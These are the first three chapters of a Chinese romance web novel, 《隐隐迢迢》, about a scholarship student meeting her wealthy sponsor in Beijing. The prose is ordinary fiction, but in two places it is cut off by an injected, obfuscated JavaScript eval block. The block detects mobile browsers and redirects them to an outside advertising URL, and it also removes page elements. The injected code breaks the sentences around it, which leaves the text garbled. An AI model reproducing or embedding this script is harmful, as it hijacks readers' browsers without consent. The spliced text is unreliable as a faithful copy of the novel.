《隐隐迢迢》 1. 青山隐隐01 《隐隐迢迢》 文/遗忘诗行 2024.08.20晋江文学城首发 「人间有我残梦未醒。」 祝恩慈x方清悬 Chapter.01 过完立秋不多久,祝恩慈抵达京中。 四季分明的首都,空气里已经有了秋天的厚实感。 长达二十个小时的火车车程让她腰酸背痛,她抱着书包,提着行李箱在人流中,没有头绪地找着出口,拨出电话。 “陈叔叔,我出站了。” “绿带子书包是吧——嗳,看见您了姑娘。”有人在人群里抬手,把她招了过去。 来接她的人叫陈勉,二三十岁的样子,为人行事很热络,过来就利落地帮她把行李往车上装,又顺便帮她打开后座的车门。 祝恩慈犹豫了一秒钟,坐在后边会不会不够礼貌? 但陈勉开门的手臂横在身前,不合适僵持太久,她很快速地坐进去,说谢谢。 冷风拂拂吹过她柔软的短鬓绒毛,送进鼻息一点清凉的香。 陈勉说:“现在送你去学校?” 祝恩慈话到嘴边顿了顿,似有顾虑,片刻才应道:“好。” 陈勉熟练地开着车,穿梭在北京的大街小巷里。 酷暑当头,绿意苍翠,国槐映着京城醒目的红墙。 “青山到这儿要多久?”陈勉随口问。 祝恩慈回答:“没有直达高铁,绿皮车一天一夜。” 陈勉悄然从镜中窥她一眼,见她嘴唇显得苍白,料到这路程多半是煎熬的。 “旁边有矿泉水,拿了喝。” “谢谢。” 她回答完,拧瓶盖的声音随后。 祝恩慈的老家在青山县城,是个南部的山城。 三年前她妈妈病重,为了看病,掏空了外婆留下的资产,如果当年没有得到贵人的资助,祝恩慈今天应该已经继承了家里铺子,在做小本生意,不会再有读书的机会。 从开始接受资助,就一直是陈勉在和祝恩慈联络,他时不时给祝恩慈打去电话,问她母亲的病情,问她的学业。 直到现在,祝恩慈高考完之后的许多事都是他在帮衬着,填志愿,包括今天办入学,宿舍安顿。 陈勉路上跟她闲聊,“学什么专业?” 她说:“飞行器设计。” “飞行器……哦,”陈勉打了个响指,一副恍然的表情,“我听说了,H大这专业今年在你们省只招了仨学生。” 祝恩慈点头。 他问:“你排第几?” 她语气很轻,怕不经意会流露出讨人嫌的得意:“第一。” 陈勉不出意外地一笑:“可以啊姑娘。” 祝恩慈这才敢笑出一点弧度,生硬地讲了一句逢迎话:“要谢谢陈叔叔的栽培。” ——这句话是妈妈教她的,祝恩慈真的当着人面说出来时,要多不自然就多不自然。 陈勉不由地笑:“谢谢方先生才是。” 祝恩慈轻点一下头,极淡一声:“对,谢谢方先生。” 陈勉又从镜子里瞧了一眼祝恩慈。 她穿素色的短袖,棉麻质地,扎着过肩马尾。 一把嗓音像是山中清泉,既暖又凉,显得人很稳重,没有这个年纪的女孩儿常有的戏谑和稚嫩。 初来乍到,本该对这个城市满怀憧憬,但她只是沉默地坐在密闭的车厢里,看着眼底疾驰而过的繁华。 或许心中已然澎湃,面上总维持着一种超出年龄的定力。 说她老实吧,眼神又透出些察言观色的机敏。 说她有心眼儿呢,也不至于,举止之间还有些掩藏不住的娇憨。 陈勉问:“成年了吗?” “4月份就满十八周岁了。” “第一回来北京?” 祝恩慈应声:“是的。” 她回应着,并挑眼去看窗外的光景。 关于京城的了解,从书里,想北平,城南旧事,又或者很小的时候,家里挂画上的颐和园。 从姥姥还没去世的时候成天给她唱的歌谣:北京的金山上光芒照四方。 陈勉一边开车,一边给她介绍:这朝阳门,这长安大戏院,这王府井,这儿就是内环了,前面是紫禁城。 祝恩慈一一听着,点头。 立了秋之后,北方的秋高气反映得很鲜明。 目之所及,胡同里都挂了长串儿的红灯笼。 祝恩慈用指尖碰着干净的车玻璃,想那些折旧的,蒙了灰的印象,或许会在不久的将来被冲洗成全新样子。 遥远的,在梦里一般不可企及的首都就在眼中。 为了抵达这里,她走了很远的路。 祝恩慈观赏了片刻景色,又收回视线。 她把手放进书包里,捏住准备好的信笺一角,想取出来,又看一看陈勉专注开车的脸,继而迟疑地把信封往里面塞了塞。 紧接着,她出了声:“冒昧问一下陈叔叔,您是方先生的秘书吗?” 方先生,藏了心事的三个字,被她讲得几分轻柔,简单的音节,念出了平仄的韵律,小心而恭谨。 陈勉:“我就一开车的。” 祝恩慈哑然。 开车的…… 司机吗? 陈勉又道:“轮班制,明儿就不是我送您了。” 祝恩慈这回是真的怔住。 见她这么好诓,陈勉笑了:“嗳,我逗您呢,这姑娘。” 祝恩慈眨一眨眼,而后,干干地笑了下。 “我是他秘书,资助你的事儿一直都是我负责。” “我知道的,”祝恩慈端正了坐姿,眼底一片虔诚,“非常感谢,陈叔叔。” 祝恩慈攥着那封感谢信,底下压的是H大的录取通知书。 她有点想亲自感谢她的资助人,但是不知道要怎么开这个口。 斟酌了措辞好半天,才又挤出来一句:“如果我有东西想要交给方先生,我要怎么联系他?” “什么?”陈勉有点儿没听清,瞧一眼后视镜,看到了祝恩慈手里的信封,转而道,“你给我就成。” 祝恩慈默了默。 这样简单一句话就让她知道,这封信应该是不能当面交出去了。个中缘由种种,她不会多问。 更不会得寸进尺地强求什么。 最终,祝恩慈把信给了陈勉。 明明可以这么到此为止,下车之际,她偏又心有不甘地添了一句:“如果他说什么话,麻烦您转达给我。” 陈勉在人情场上纵横多年,这点弦外之音还是能听得出。 方先生的态度对她而言很重要。 看着风扫过少女因抿直而显得倔强的嘴角,陈勉笑说,“一定。” 办入学的事项很多很杂,报道、住宿、银行卡,等等。 祝恩慈只记得开学那几天手忙脚乱,等忙完了再回头看,留下唯一稍微深刻的印象,却是某个小小细节。 人满为患的校园不让外来车辆入内时,陈勉的车轻而易举地就停在了学校行政楼的校长办公室前。 那儿最空,方便停,但自然不是人人都能停。 这件事情说大不大,不过被同班同学看到,祝恩慈回到寝室就被人拉着问:“祝恩慈,那天送你来的车是你家的吗?” 祝恩慈勉强回想到这个细节,她坐在寝室的窗下,正翻着新领来的专业书,淡道:“不是。” 黄锦云睁大眼睛瞅着她,在等着下文,要听她讲车的来路。 祝恩慈不好晾着人家的好奇心,编了个借口:“是我拦的出租。” 黄锦云噗嗤一声:“这么牛逼,随手拦个迈巴赫啊?” “……” 这笑声让她面色一窘。 祝恩慈当时忙着往车上装行李,并没留心车牌,几天过去也没剩多少回忆了。 她干脆讲实话:“是我的资助人的车。” “资助人?”黄锦云歪着脑袋看她,好奇又不解,“做什么的?” 其实不太清楚,她模棱两可地回答:“应该是个富二代。” 祝恩慈对有钱人这个群体的印象,“富二代”可以一言蔽之。 好在黄锦云没有多问了。 开学之前是军训。 早秋,花雨飘摇,万山红遍的京城,天气一直晴不晴,阴不阴的,偏偏就是没有雨。 站了几天军姿,每到夜里,萧敬腾的歌响彻宿舍楼,伴随着一群哐哐敲碗的声音。 “明天要下雨了!是不是可以在宿舍整理东西了?” 好消息从室友黄锦云口中传出来时,祝恩慈正在给妈妈发消息。 祝芳菲:晒了一点笋干,豆角,还做了一点柿饼,妈妈给你寄了过去。在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187159|165502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学校和同学好好相处,缺钱的话和妈妈说。 祝恩慈刚回过去一个:好。 祝芳菲:嘉诚开学晚一点,妈跟他说了,让他回北京之后关照着你。 祝恩慈看到这句话传进来时,转在指尖的笔掉在桌上,她迟疑了一下,有些话想讲,没有说出来,回一句:嗯。 黄锦云从祝恩慈的身后热络地捞住她的肩膀:“下雨的话一起去外面逛逛吧?” 祝恩慈答应下来。 她收好珍惜使用的老式手机,也折好刚刚在翻阅的《空气动力学基础》。 晚上,外面果然下了雨。 祝恩慈和黄锦云各撑了一把伞往外头走,黄锦云又提起之前那辆车的话题,表现得对她的资助人兴趣很浓。 祝恩慈没有多谈,说不是很清楚。 黄锦云又问她的家里情况。 祝恩慈懂得不能与人交浅言深这个道理,但知道对方没有恶意,不过是新同学之间互相认识交流的一环。 祝恩慈和她收敛着聊了一些:“我小时候我父亲就不在身边,一直都是单亲,后来妈妈又生了大病,当时我正好初中毕业,家里亲戚都建议我不要再读书了,去学一门手艺。” 黄锦云拉着祝恩慈的手,跨过湿漉漉的水塘。 清清的水塘盛住雨滴,秋日的碎雨像珠玉似的投进去,叮咚打着旋儿。 “什么手艺?” 黄锦云偏眸去看雨里的祝恩慈,眼中带着类似于同情的情绪。 但祝恩慈看起来并不需要旁人的同理心,不需要谁来将心比心地领会她的成长。 她只是平静地讲述过去:“我妈是开布艺坊的,想让我去学做裁缝,继承家里的小店。或者去学一些别的,能赚钱的都可以。” 她声音轻淡,散在风雨之中。 一副清冷挂的长相,淡如茉莉。一双杏眼,笑起来轻轻弯折,像黄昏时的上弦月。 不过祝恩慈平常不爱说笑,开学不满半个月,她已经去了许多次图书馆,看起来对社交、对异性并没有太大的兴趣。 大家都还在暑假的余韵里,没有玩够时,她已经买了四六级书在准备通关。 学习让人的气质显得寡淡,再如何清丽漂亮,不过是个书呆子。 “那后来呢?”黄锦云接着问。 “后来——” 祝恩慈讲到这儿,倏地话音一止。 有趟车疾驰过去,穿过学校礼堂前的广场。 不知怎的,不过一辆普通黑车,在雨里一闪而过的明亮漆光,令两人同时偏头望去。 黄锦云越过祝恩慈的肩膀,往那边看:“今儿学校有个什么国际交流会,来的都是大人物。” 很快,车泊在礼堂之下。 开车的司机下来,举着伞,到侧后方给人开门。 寂寂的夜色里,下车的男人一双长腿迈出,步履从容,不必亲自撑伞,于是双手插在裤兜里,即便风吹雨打,也不影响他的松弛。 他背对着祝恩慈她们,款步往礼堂的台阶迈上,清隽挺拔的身姿不疾不徐。 一个背影,她就能这样遥遥地认出。 祝恩慈望着男人的身影,问道:“是老师吗?” 黄锦云笑了,“这严整待发的阵仗,一看就是上面的人啊。” 恩慈怔然:“上面的人?” 黄锦云以为她不懂,将手遮在嘴边,到她耳畔:“就是大领导。” 女孩子的语气讳莫如深,想是见过些世面,但并不多,因而语调隐隐崇拜时,还显现出几成天真跟稀奇。 这一幕跟祝恩慈的某部分回忆凑巧撞上。 男人拾阶而上,慢慢地走到了礼堂的光亮里。 身后的司机利落地收伞。 男人偏身看向司机,稍稍颔首的同时,薄唇轻启,看口型,像是说了句“多谢”。 檐雨如绳,浇出拔地而起的浓雾,将修长人影掩映了去。 当时陈勉自嘲是个当司机的,但行政楼肃穆的闸门不吝啬为他敞开,倘若被丢进这江湖里,势必也是个能溅起水花的人物了。 至于眼下,这般百无禁忌的气场,令人觉得,比游刃有余更高级的状态,是吹灰不费的泰然。 祝恩慈察觉到,那是她不能够轻易见到的人。 她把他的名字含在口中许多年,终于在此刻随着鼻息轻轻地叹出。 方清悬。 2. 青山隐隐02 祝恩慈定定地站在伞下半天,直到一切随雨丝消弭,好像什么都没有来过。 她手腕一紧,被人拉走。 “人跟人,就和物品跟物品一样,是明码标价的。不过呢,在北京这种地方,光有钱都不行,百富不如一贵。” 坐在颠簸的公交车上的时候,黄锦云也没停下回味雨中一幕,颇为感慨地和她说长道短。 她坐在靠窗位置,瞥着窗外雨丝,忽又偏头问祝恩慈:“看过北京折叠吗?” 祝恩慈默默回想什么的思绪被她一句话拉回来:“科幻小说?” “讲的就是社会阶层是分等级的,底层人进不去高层空间,特别现实。” 这话不假,但祝恩慈凝眸看了看她,偏要问:“按照什么划分?” “首先权势,其次金钱咯。” 祝恩慈闻声,稍作思考,没有反驳。 公交经过一片灯火明亮的路段,显现不远处一片清澈的城市内透。 黄锦云眺望遥远的高楼顶端,用手指做取景框,框住金字塔顶端上那点明亮:“你猜那儿的人在做什么?” 祝恩慈初来乍到,对这儿的一切都不熟悉,不知道那里是商贸区或是酒店。 总而言之,是她不能够窥见,也不能够试想的风光:“可能是写字楼。” “单纯,”黄锦云笑着点她一句,“我表姐说,那可是京城的顶级会所,都是顶级有钱人出入的地方。” 说完,黄锦云回眸看她,冷不丁回到刚才的话题:“你刚才说,你家里人让你继承裁缝铺子,然后你想接着读书?” 祝恩慈点点头,从容讲述下去:“当时很迷茫,不知道怎么选择。不过我遇到了一个人,他给了我一点帮助。” 黄锦云:“就是你的资助人?” “嗯。” 点到为止地说到这儿,祝恩慈的手机响了。 她抱歉地对黄锦云说:“接个电话。” “ok。” 来电的人叫许嘉诚。 是祝恩慈的竹马哥哥,从小邻里邻居一起长大的。 “恩慈,我明天就回去了,你军训怎么样?” 祝恩慈说:“今天下了雨,这两天应该会轻松很多。” “你留意一下你们学校的官网,助学金补助的时间会贴出来的,你记得及时申报,别错过了。要是还有什么不方便的,跟我说。” “好。” 她声线清清,并没有跟他多聊下去的意图。 于是许嘉诚也没有太多的话题展开,三言两语就挂了。 纵然该是很熟络的关系,祝恩慈跟许嘉诚相处总是有所保留。 熟也不熟。 不过这和许嘉诚无关,她为人如是,对人总有几分警惕,如果不是十分值得交心的关系,距离感一定是要维持的。 黄锦云在车辆的颠簸里睡着了。 祝恩慈看一眼晃悠在她肩膀上的脑袋,随后慢慢放下手机,望向外面的戚冷雨水。 再看向黄锦云取景框里的塔尖,在云雾里明灭不定。 几日之后,她见到了许嘉诚。 男生目前大三,在科技大学读书,戴一副黑框眼镜,人长得算干净,气质很理工,清瘦有型,只是在北方人里,个头不算高的。 许嘉诚担任了地陪的工作,带着祝恩慈去打卡了一些景点。 实际上祝恩慈对游玩景区并不热衷,但她很给面子,没有扫对方的兴,一言一语都应对。 到长安街夜骑的时候,两人路过一个胡同,这会子路已经走偏了。 游客很少,两边的树木长得很茂密,被秋风一扫,叶声清脆。 许嘉诚突然看到什么,急刹了一下,让紧跟在后面的祝恩慈也不由地停下,随他的眼神偏眸望去。 许嘉诚把眼镜推紧,看向四合院赤色大门一旁的“标语”。 夜幕昏昏,近视眼很不容易地读清上面的字,他够着脖子:“私人住宅,请勿打扰。” 许嘉诚念完,回头看祝恩慈:“嗐不能走,回头吧,别闯了人家重地,到时候都不知道怎么死的。” 叫人忌讳的字眼让祝恩慈微怔:“怎么会死?” 车掉了个头,两个人同时往回推。 “你还不知道这什么地儿,刚进来的时候没看见么?门口停的全是官老爷的车,北京可不比家里,藏龙卧虎的,借你十个胆儿也不能在这撒野。万一得罪了不敢得罪的人——” 许嘉诚说到这儿,做了个抹脖子的动作:“这么一下,你就神不知鬼不觉地没了。” 祝恩慈还真没注意门口停了什么车。 她仰头一看,高墙里耸立的老树枝丫横斜,就抬头这么一瞬,一粒金色的花蕊堪堪掉在睫毛上,将视线遮得一黑。 她闭上眼,槐花顺势掉落掌心。 祝恩慈又重新看清面前的男生,扬起一双清丽的眼睛,陡生出光脚的不怕穿鞋的气势。 她声线淡淡,倒是有力:“我不怕什么官老爷,我只相信青天大老爷。” 许嘉诚一愣,然后大笑:“逗你呢,干嘛这么一本正经。” 他看着她,不由地记起他们都还很小的时候,春天的青山开了满山的花,被问到最喜欢的花什么,祝恩慈说她不爱花,只喜欢竹子。 为什么呢? 千磨万击还坚劲,任尔东西南北风。 她字正腔圆念这句诗时的那一双眼神,和现在的模样一点没有变。 许嘉诚没再吓唬她:“祝阿姨最近挺好的,身体好多了,你高考结束之后她真是省了好大的心,反正她跟我妈在一块儿也没什么可担心的,你好好学习,别在外面学坏,她什么都满足。” 他笑说:“她还到处说你高考考得好,你们祝家出了个名牌大学生,就跟我妈当时一模一样。” 聊到这儿,祝恩慈都能想到妈妈说这话的语气,她由衷地表达感谢:“谢谢嘉诚哥。” 许嘉诚:“对了,你平时要是想打零工什么的我可以给你介绍,你有学历,赚点生活费还是容易的。大学生做家教的多,北京人出手都大方。” 她听着,心怀感激说好。 回去的路上,乘着月光,祝恩慈看到一则新的微信消息。 是陈勉发来的。 她心口漏跳一拍,停下脚步,打开便看到一张图,是填涂了国画的书签。 陈勉:是你的吗姑娘? 祝恩慈:是。 书签是她的,大概是当时掉在陈勉车上,她没注意。 陈勉又问:你自己画的? 他会看出来不奇怪,底下有祝恩慈的私人印章。 她回:对。 祝恩慈正要斟酌着措辞,想怎么处理这幅画,陈勉的消息又传过来一条:画得不错,很专业啊。 祝恩慈回:闲来无事画一画,没有太多技术性。 陈勉:那书签还需要吗?还给你? 祝恩慈:我去哪里取? 陈勉:我送去,你有空和我说一声。 祝恩慈盯着这行字看了会儿,觉得他话中有话,应了下来。 军训过后,中秋假期也很快过去。 陈勉来接她的那一天,祝恩慈脱掉了粗糙的军训服,洗了头发,披散在肩,浅淡的槐香散在空气中。 她站在街边,等到了陈勉的那辆车。 这回留心了车标,懂的不多,但对上符号,祝恩慈在心里念了“迈巴赫”三个字。 碰头在校门口,陈勉下车,一副恭迎的笑意,没忘记她上回交代的话,开门见山说:“方总看了信,问我你最近怎么样,我说姑娘看着挺好的,有精气神儿,是块读书的料。” 祝恩慈瞳仁倏地一亮起,千言万语汇做一句:“谢谢陈叔叔。” 长条的书签被完好无损地放到祝恩慈手中。 熟宣纸上拓两条红鲤,纤长流苏垂在她掌心。 她作势检查,不过是不经意地看了一看,余光停在旁人身上,见到陈勉没有要离开的架势。 清丽一双眼睛平视过去,犹豫五六秒,她又开口道:“您来找我,应该不只为了还一张书签吧?” 陈勉了然她的聪明灵巧,笑着一点头,直截了当地问:“祝姑娘这会儿忙不忙?” 祝恩慈幅度不大地摇头:“没有什么事。” 陈勉倚着车门,不赶时间的闲适姿态,同她说下去。 “有件事儿可能得请您帮一帮。” 她微微诧异:“您说。” “家里有个冥顽不灵的小姑娘,正上小学,老太太寻思着让她学个琴棋书画什么的培养培养情操,您猜怎么着,前几天刚练那琵琶还是古筝的,练得手抽筋儿,闹得园子里鸡犬不宁,琴不行,那就画吧,方先生瞧见您这书签,就问我哪儿来的,我都没注意到您上次落了这个在车里,跟他一讲,他问能不能请您过去看看,家里姑娘有没有学画画的天赋。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187160|165502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祝恩慈听着他陈述,见他面色或愁或恼地变幻,等陈勉的话音落了地,她捕捉住顶不紧要的一句,轻问:“我的书签,方先生看到了?” “正是。” 她没有应承,倒是定定瞧了瞧他,不答反问:“他又怎么知道我有教人的潜质?” 她声音清软,却没半点讨好感。 耳聪目明,能听懂人的弦外之音,去探究那点捉摸不透的隐藏意图。 陈勉露出在交际场上游刃有余的笑意,点了点她书签上的画:“你有多少工夫,全都在画里了。” 言外之意,方先生慧眼识珠,都看得明白。 祝恩慈低眸,再看书签上那两条俏皮跳脱的小红鱼:“教人要有硬本事,我只是业余的。” 陈勉说:“艺术素养一定要用分数定夺高下的话,会不会也是一种礼崩乐坏?” 这个说法很有意思,片刻后,她微微一笑:“那麻烦您带路了。” 陈勉很乐意效劳。 祝恩慈这回懂事了些,没上他打开的后座,径直走向副驾驶,说坐前面也一样,倒令陈勉意外。 她很懂分寸与礼数。 一路开车到目的地,从日头正盛走到了暮色四合。 一轮悬日在地平线的尽头。 车停在胡同口,祝恩慈随陈勉往里头走,没几步就觉得这小径令她觉得熟悉,细想,居然是那天和许嘉诚误闯私宅的那一条道。 而路的尽头,有过一面之缘的四合院大门和禁止入内的标语,复现眼前。 [私人住宅,请勿打扰] 她愀然一顿。 想起那天滑落眼角的槐花,脸庞都捎带了些痒意。 陈勉把门打开。 蛮子门有几分重量,很快敞在眼前的,就是另一番天地了。 祝恩慈跨过高高的门槛跟进去,见到四合院里头风雅低奢的精致。一层小筑,檐廊曲折,凿了人工池,建了小石桥。 早就听许嘉诚说过,有钱人的家都要被水养着的。 富贵雍容在此刻有了形状。 池子里养了莲和锦鲤,鱼在水中游,池水在光中,浮一层薄薄金粉,一棵参天的古木看着有百千岁。 她尚没来得及定睛细赏,往前走两步,上了桥头,隔一道垂花门,一个背身的修长人影便浮现眼中。 方清悬倚着一张紫榆的圆桌,背朝着她,黑色衬衣没有脱下,像是刚从工作中脱身,手拿着电话在打。 男人身形高大,但此刻没有那么板正紧绷,脊背稍稍折一点角度,自然而然地松懈,青灰天色里,清峻而轩昂。 祝恩慈的耳畔同时传来陈勉的介绍:“这儿是绮园,方家老太太疗养身子的地儿。” 正走近几步,她听见方清悬落下一声——“眼下有事要办,脱不开身,赶明儿我去给她赔个不是。” 电话那端说了些什么,惹得他清然一哂:“左不过一出戏,离了我就看不得了?” 男人的嗓音是沉稳泰然的,语义里却有点儿骄矜拿乔的意思。 过会儿,见方清悬的电话撂下,陈勉扬起下巴,轻轻一声:“方总。” 方清悬回眸看一眼来人。 祝恩慈已然下了桥,穿过前院到内院,隔一点距离,定在了男人深邃温文的眼中。 垂花门底下。 悬日在她身后,熬完今天的最后一抹昏黄的色彩,陷入了沉沉天幕里。 祝恩慈就在那秋蝉残声中,乌发垂肩,面如清雪,一双眼眸宛如洗净的两粒水中珠玉,白衫配中长度的黑裙,站得笔直,国槐穗子在脚边打着圈儿。 她的仪态端庄有礼,令人看不出出身清贫。 方清悬打眼,瞧她亭亭玉立的模样。 她便也不虚地回视过去。 气度不凡的世家公子,修竹之姿,站在那里,不需要如何摆谱,气质里就从容地露出一派光风霁月的平和。 令她想起一句好诗:天边明月清如许,不载红尘一点愁。 明月高高挂天上,人如其名的方清悬。 秋风吹皱她眼里的水波,祝恩慈斯文一笑:“方老师好。” 她纵然表现得体,心绪难抑,无处安放的手攥着背包带子,莫名惶惑。 倒不是为初入清门静户,怕乱了人规矩,唯一拿不准的念头,是他会不会不记得她了? 隔一片稀松竹影,方清悬轻点一下头:“恭喜,考得很好。” 3. 青山隐隐03 祝恩慈想了一想这时要说什么。 说谢谢太俗,“多亏您的栽培”又官方了些,油嘴滑舌的话她不想讲两回。 不过方清悬看起来并不在意她如何接茬。他说完恭喜,便偏一下头,冲着陈勉吩咐道:“去厢房等我。” 陈勉应下。 而后方清悬又给她一个眼神,意思是:坐吧。 紫榆小桌前,男人单手捻只汝窑杯,稍稍冲洗,给她斟了一口茶水。 平常这些琐事必不是他来做的,此刻举手投足间显现得悠游。 因为不赶时间,倒杯茶便成了兴味。 月上枝头,映得男人的动作慢条斯理,手骨清瘦漂亮,清风拂过风雅柔和的一张冠玉面容。 祝恩慈接过道谢,但并没有喝。 方清悬问:“老陈和你讲了情况?” 祝恩慈低头看袅袅的茉香,轻应:“说了。” 他的深眸划过她清瘦的脸庞,暗含一点雁过无痕的凛肃:“什么时候学的画?” “自小就会,花鸟七级。” 方清悬一思索,认可道:“懂的很多。” 明知是场面话,男人低醇的嗓音加持,悦耳得过分,也夸得她有些臊。 不敢自诩博学,祝恩慈言简意赅地解释说,“小时候隔壁的爷爷是国画大师,退休到我们山里去采风,是沾了人家的光,我买不起颜料,都拿他剩下的。” 她说话时看着他,眸里漾着一丝粼粼水光,眼下尽数是自然而然的清澈。 和方清悬说话的人多,不生怯、不谄媚的却屈指可数。 这姑娘就这么眼波清清和他对坐着,大大方方地介绍自己。 方清悬正要接话,萍姨从东厢房里迎出来,手里端一壶清茶,是要送去后院的:“方先生回来了?” 方清悬看她:“那小鬼呢。” “在后院里折腾呢。” 他说:“让她来见老师。” 萍姨瞧一眼坐在他身侧窈窕温文的女人,应了一声:“诶。” 话正说到这儿,还没轮到人去三催四请,十岁大小的小朋友已经眼观六路地察觉到家里有不速之客,匆匆跑来,往前一跃,跳出了门槛:“舅舅,快看我画的写意小荷!” 方清悬将她宣纸一展,修长骨节由上至下轻轻一捋,夹紧纸面两端,纵使批评,却是宠溺的口气:“鬼画符。” “你懂什么!?”唰一下,画又被小女孩气急败坏地夺回去。 方清悬没同她计较,看向面前少女:“得麻烦你,看一看她有没有学画的资质。” 祝恩慈微笑:“好。” 他定格在她轻柔的笑眼里两秒,别开眼去,又喊:“萍姨。” “这儿呢。” 方清悬给她介绍:“这位是祝老师,劳您领她过去,我去和陈勉谈几件事。” “没问题。”先生介绍来的人,萍姨自然不敢怠慢,对恩慈微笑:“祝老师,到后院来喝两口茶吧。” 方清悬三言两语就将这事安排妥善了,到此便目送二人前往后院,没再跟过去。 自然也不知,有人落了一节魂儿在他身上。 等萍姨又开口,祝恩慈才将那一缕思绪收回,竖耳听她的话——“之前让学古筝,小手指磨破,老师说是指法不对,她不听,非把人赶走,说学不成这破琴!行吧,老太太说,那学个画总行,省得吵耳朵,让她学着修心,静一静。” 祝恩慈笑了一笑,低头观察走在前面小大人似的蒋羽。说了客气话,“孩子小,有气性也正常。” 蒋羽端着自己的画,摸着下巴正琢磨着哪儿鬼画符了。 祝恩慈跟着萍姨走到院子最深处,又穿过一片长满梅树的院落,迈进了后院。 紧接着就见到了刚下牌桌的方家老太太。 老人家青丝白雪,绾了发,一身缎子旗袍,手帕掖进玉镯里,闪光的发箍上有珍珠蟠在鬓前,丝巾拂颈。 祝恩慈打声招呼:“老太太好,我叫祝恩慈。” 老太太只轻瞄一眼祝恩慈,没多看,兴致不浓,但毕竟对方是文化人,她的姿态还算厚待,象征性了解一下,“多大了?” “18。” “这是刚读大学吧?” “是。” “坐吧,这位小老师。” 金丝楠木的桌椅上摆好笔墨纸砚。 过会儿,萍姨又端来小碟,摆一点蜜饯瓜子。 祝恩慈瞥一眼小小笔山,连这样一件小玩意也是真真上好的玉器,剔透晶莹,不需上手去探,也知晓质地之精美昂贵。 没太多的寒暄,祝恩慈坐下便陪着蒋羽画了会儿画。 祝恩慈没夸大自己的水平,但实话说,教一个入门的小朋友还是绰绰有余。 她测了蒋羽的色感,竟出乎意料地还不错。 又看她被指“鬼画符”的那幅小荷,虽然笔墨没有章法,但色彩的运用和临摹的笔触巧劲儿都使得刚刚好。 资质不说满点,但很是够用。 就这么在桌前待了一会儿,萍姨和老太太不时地进进出出。 试课到半途,隔一道茶青的门帘串珠,里头传来两人攀谈的声音。 是老人家问:“清悬跟他老子又怎么了?成业的状都告到我这儿来了。” 祝恩慈一边看着蒋羽临摹先人作品,一边被动地接受了一些信息。 萍姨说:“还不是为林二小姐的亲事,董事长又催他跟人碰面,弄两张话剧票让请人去看,清悬推了好几回,不是有这事就是有那事,总是约不成。” “亲事”二字令她眼波稍顿。 这话题离她的生活就太远了。 说是有心也无心,堂前没人说话,祝恩慈便就这么听了一听。 老太太叹一声:“你说说,这到底有什么可犯难的?林二姿色不浅,虽说性子娇了些,只要这秉性不差,女孩儿家再大的脾气,哄一哄就过去了。说通俗些,不过是搭伙过日子,蒋文成和他姐姐,现在不是挺好的。不过是叫他请人吃个饭,看个戏,多大事儿?现在谁都看出林家姑娘对他芳心暗许,他总这么着可不行,迟迟把人给耽搁了,还拂了人林家的颜面。” 听到这儿,蒋羽的笔端倒是握不住了,往玉器上重重一倒,冲里面嚷嚷:“他要是不喜欢人家还吊着人家,那才叫耽搁。” 屋里静了两秒,老太太声称:“你倒是刻薄起我来了。” “您管这叫刻薄?” 蒋羽牙尖嘴利,同家里长辈说话的姿态,让人一眼便知道是溺爱大的。 老太太撩了帘子出来,没急着治她,一副实在没辙的表情。 “你舅舅他心气儿高,你去劝劝他。” 蒋羽浑不在意地呿了声:“我劝他什么,我看内林家闺女可不是什么好人,一见了舅舅走不动道儿了。” 老太太大骇:“我的祖宗,这话可不能乱说。” 蒋羽置若罔闻:“再说了,妾有意,朗无情。你看那马文才和祝英台能有什么好下场?” 老太太气急:“你这丫头,就这点儿教养分寸,人老师还在呢,说出去叫人笑话,咱方家养出了个泼皮!” 她怒斥一番,又慌里慌张捻过佛珠要拨:“罪过,罪过。” 蒋羽嘴巴撅得老高:“我又没伤天害理,何况我哪句讲的不是实话——” 她话音未落,被一道低沉训斥的声音重重截住。 “蒋羽!” 蒋羽霎时间闭上嘴巴,瞧着冷气森森的门外。 祝恩慈随她瞥一眼门口。 不多时,方清悬回到后院。 他正在门口打电话,听见里头小孩吵吵就回头看了眼。 莹白温润的气质有如一块沉冷的上好玉器,被置进这古董一般的屋子里,给这般韵味添份质感,也降了降温。 “坐不住就去门口站三个小时。” 到底是男人,声音沉厚许多,一落地就将蒋羽唬住。 小丫头噤声,还紧紧捂嘴表示并不再犯的决心。 幸好很快,方清悬的电话没聊完,救了蒋羽一命。 他收回冷肃的视线,就站那儿,接着对着手机讲了几句话。 蒋羽冲他背影做了个不服气的鬼脸,又借机到恩慈的耳畔,虚声说:“我太太特假,她就一假菩萨。” 祝恩慈轻笑不语。 蒋羽歪着脑袋问:“你也觉得我说的对?” 祝恩慈直言:“我觉得你很有个性。” 蒋羽说:“你也有个性,与世无争得很。” “你还不知道我叫什么。” “那要什么紧?总之我看人准。” 讲完小话,才发觉身旁多了个人。 方清悬走过来,对着手机低低一声,“有什么问题你先找陈总,院长那边我去沟通。” 挂掉之后,萍姨在一旁问:“什么事儿啊,这么多工作电话?” 他把手机塞回兜里,简单说道:“前两天和H大一个项目合作,刚立项,事情多些。” 蒋羽笑说:“舅舅又给学校捐楼。” 老太太问:“是什么大项目吗?” 方清悬应得敷衍,系上袖扣,而后手撑到桌沿:“还行。” 显然是不想多谈工作事宜。 他低眸,只平静地看向蒋羽画的一支亭亭净植的荷花。 